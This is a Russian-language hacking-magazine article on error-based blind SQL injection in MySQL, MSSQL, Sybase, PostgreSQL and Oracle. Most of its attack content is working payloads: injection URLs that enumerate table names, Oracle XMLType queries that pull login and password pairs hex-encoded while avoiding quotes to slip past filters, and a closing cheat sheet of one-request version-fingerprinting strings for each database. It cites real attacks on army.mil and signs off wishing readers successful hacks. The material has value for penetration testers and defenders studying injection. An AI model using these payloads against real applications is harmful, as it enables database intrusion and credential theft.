Содержание статьи
Довольно часто SQL-инъекцию можно обнаружить по сообщению об ошибке,
выдаваемой базой данных, и не всегда использование уязвимости в подобных случаях
возможно с применением классической техники эксплуатации (union). До некоторого
времени в таких случаях приходилось пользоваться унылыми и медленными способами
посимвольного перебора. Но зачем использовать неэффективный подход, когда
возвращается ошибка СУБД?! Ведь ее не менее удобно, чем при классической
эксплуатации SQL-инъекций, можно приспособить к построчному чтению данных из
базы или файловой системы. Глупо отказываться от такой возможности. Именно о
способах, которые позволяют использовать сообщение об ошибке базы данных в
качестве контейнера полезным данным, далее, и пойдет речь в этой статье.
Error-based blind SQL Injection в MySQL
В конце прошлого года Qwazar "достал" универсальную технику эксплуатации
слепых SQL-инъекций в приложениях, функционирующих под управлением базы данных
MySQL. Надо сказать, достаточно непростая и непрозрачная техника. Пример
использования универсального подхода для MySQL >= 5.0:
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
В случае если имя таблицы неизвестно (может быть справедливо для MySQL <
5.0), то приходиться использовать более сложные запросы, которые полностью
завязаны на функции rand(). Это означает, что далеко не всегда удастся получить
желаемые данные в один http-запрос.
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x
from (select 1 union select 2)a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x
from (select 1 union select 2)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1
Пример практического использования для восстановления структуры базы данных:
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
...
Способ Qwazar работает на всех версиях MySQL, включая и версию 3.x, которую
по-прежнему еще можно встретить на просторах глобальной сети. Однако учитывая,
что подзапросы появились, начиная только с MySQL версии 4.1, то это сильно
уменьшает возможность применения указанного способа на более ранних версиях
мускуля.
Универсальные техники для других баз данных
Не так давно хакером, скрывающимся под псевдонимом TinKode, были успешно
осуществлены атаки с использованием уязвимости blind SQL-Injection на
Web-сервера в домене army.mil. При проведении атак на Web-приложения, работающие
под управлением MSSQL 2000/2005, хакер продемонстрировал достаточно интересную
технику получения данных из баз данных. Используемый способ TinKode заключается
в том, что MSSQL ругается при некорректном переопределении типов данных, что в
свою очередь позволяет "протащить" полезную нагрузку в возвращаемом сообщении об
ошибке:
select convert(int,@@version);
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008
(RTM) - 10.0.1600.22 (Intel X86)
Jul 9 2008 14:43:34
Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition on Windows NT 6.1 <X86> (Build 7600: ) (VM)
' to data type int.
Следовательно, при эксплуатации слепой SQL-инъекции, с использованием данного
подхода становиться возможным, достаточно быстро получать нужные данные из
Microsoft SQL Server. Например, восстановить структуру базы данных можно
следующим образом:
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--
...
Вспоминая о том, что Sybase ASE, также как MS SQL Server, базируется на
Transact-SQL, можно смело предположить, что приведенная техника выше
распространяется также и на эту СУБД. Проверка полностью подтвердила это
предположение. Все приводимые примеры для MSSQL в полном объеме распространяются
и на базу данных Sybase.
Аналогичные махинации с приведением типов были повторены и в отношении
мускуля. Проведенные эксперименты с ним показали, что при некорректном
переопределении типов MySQL возвращает лишь не критическое уведомление об
ошибке, которое не позволяет достигнуть аналогичных целей при эксплуатации blind
SQL Injection. А вот эксперименты с PostgreSQL удачно "выстрелили" в этом
контексте:
web=# select cast(version() as numeric);
ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on
i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]"
Для получения полезных данных при эксплуатации SQL-инъекции содержащейся в
приложении под управлением постгреса, можно использовать следующие запросы:
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--
...
В недрах ораклятины
Обладая интересной подборкой быстрых способов эксплуатации слепых
SQL-инъекций, мне недоставало аналогичных техник под не менее распространенную
СУБД Oracle. Это побудило меня провести небольшой ресерч, направленный на поиск
подобных техник в указанной базе данных.
Убедившись в том, что все известные способы эксплуатации error-based blind
SQL Injection не работают в среде оракла, мое внимание привлекли функции
взаимодействия с форматом XML. Немного поковырявшись в них, была обнаружена
функция XMLType(), которая возвращает в сообщении об ошибке первый символ из
запрашиваемых данных (LPX-00XXX):
SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>
Уже хлеб. Используя функцию substr() становиться возможным посимвольное
чтение требуемой информации. Например, можно достаточно быстро определить версию
установленной базы данных:
select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...
и т.п.
Считывание одного символа в один запрос при эксплуатации слепых SQL-инъекций
– это здорово, но было бы глупо останавливаться на достигнутом, и мы пойдем
несколько дальше.
Продолжая копать функцию XMLType() мне удалось найти аналогичный способ
проброса данных в сообщении об ошибке, который существует и в других базах
данных:
SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>
Вроде бы все замечательно, но есть несколько подводных камней. Первая
загвоздка заключается в том, что в оракле не происходит автоматическое
приведение типов. Поэтому такой запрос выдаст ошибку:
SQL> select * from users where id = 1 and(1)=(select XMLType((select
'<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from
dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -
Второй нюанс заключается в том, что у ораклятины отсутствует limit и offset,
что не позволяет простым путем осуществлять построчное чтение данных. И третья
проблема связана с тем, что функция XMLType() при обработке ошибки обрезает
возвращаемые данные после некоторых символов. Например, когда в строке
встречается пробел или символ at ("@") и др.
Но все можно разрулить 😉 Для решения проблемы с приведением типов может
использоваться функция upper(). Организовать построчное чтение данных, можно с
использованием следующей нехитрой конструкции:
select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...
Ну, а для того, чтобы избежать потерю возвращаемых данных, может
использоваться hex-кодирование. Опционально, можно также избавиться от кавычек в
отправляемом запросе используя числовое представление символов (ascii), что в
перспективе позволит обходить фильтрацию при обработке поступающих данных в
приложение. Таким образом, конечный запрос примет следующий вид:
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select
rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum
rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select
rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum
rnum from users a)where rnum=2)||chr(62)))from dual);
...
Используя данную технику за один http-запрос можно считывать до 214 байт в
приложении (107 символов при использовании hex-кодирования), которое
функционирует под управлением СУБД Oracle >=9.0 и возвращает сообщение об
ошибке:
http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from
dual)--
Для декодирования получаемых данных из приложения при эксплуатации
SQL-инъекции описанным способом, в том числе, может использоваться стандартная
функция оракла:
SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264')
from dual;
UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264')
--------------------------------------------------------------------------------
admin::P@ssw0rd
SQL>
Подводя итоги
Итого, мы получаем универсальные и быстрые техники эксплуатации
error-based blind SQL Injection для следующих СУБД: PostgreSQL, MSSQL,
Sybase, а также для MySQL версии >=4.1 и Oracle версии >=9.0. Для идентификации
используемой версии базы данных в один http-запрос, могут применяться следующие
конструкции:
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x
from TABLE_NAME group by x)a)--
ИЛИ
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x
from (select 1 union select 2)a group by x limit 1)--
MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62)))
from dual)--
Занавес
Порой кажется, что все уже придумано до нас и нет смысла искать что-то новое.
Как ты, наверное, заметил на примере развития направления по эксплуатации слепых
SQL-инъекций – это не так. Всегда есть место для новых исследований. Удачных
тебе хаков, и до новых встреч на страницах журнала X!
WARNING
Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несет!